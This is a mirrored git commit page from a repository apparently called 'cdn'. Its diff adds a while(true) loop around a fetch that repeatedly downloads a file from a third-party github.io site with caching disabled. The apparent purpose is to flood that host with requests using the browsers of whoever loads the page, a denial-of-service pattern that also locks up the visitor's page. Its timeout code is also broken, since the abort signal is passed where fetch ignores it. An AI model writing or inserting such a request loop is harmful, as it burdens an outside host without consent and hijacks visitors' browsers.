mirror of
https://github.com/hexahigh/cdn.git
synced 2025-12-11 20:15:22 +01:00
e
This commit is contained in:
parent
b12dfa058f
commit
d67e5af23c
@ -40,13 +40,14 @@ const controller = new AbortController()
|
|||||||
// 5 second timeout:
|
// 5 second timeout:
|
||||||
|
|
||||||
const timeoutId = setTimeout(() => controller.abort(), 5000)
|
const timeoutId = setTimeout(() => controller.abort(), 5000)
|
||||||
|
while(true){
|
||||||
fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}, { signal: controller.signal }).then(response => {
|
fetch('https://t0m0t0w.github.io/backuprr/history.dat', {cache: "no-store"}, { signal: controller.signal }).then(response => {
|
||||||
// completed request before timeout fired
|
// completed request before timeout fired
|
||||||
|
|
||||||
// If you only wanted to timeout the request, not the response, add:
|
// If you only wanted to timeout the request, not the response, add:
|
||||||
// clearTimeout(timeoutId)
|
// clearTimeout(timeoutId)
|
||||||
})
|
})
|
||||||
|
}
|
||||||
/*window.onload = async function startdown(){
|
/*window.onload = async function startdown(){
|
||||||
while(true) {
|
while(true) {
|
||||||
//await delay(10);
|
//await delay(10);
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user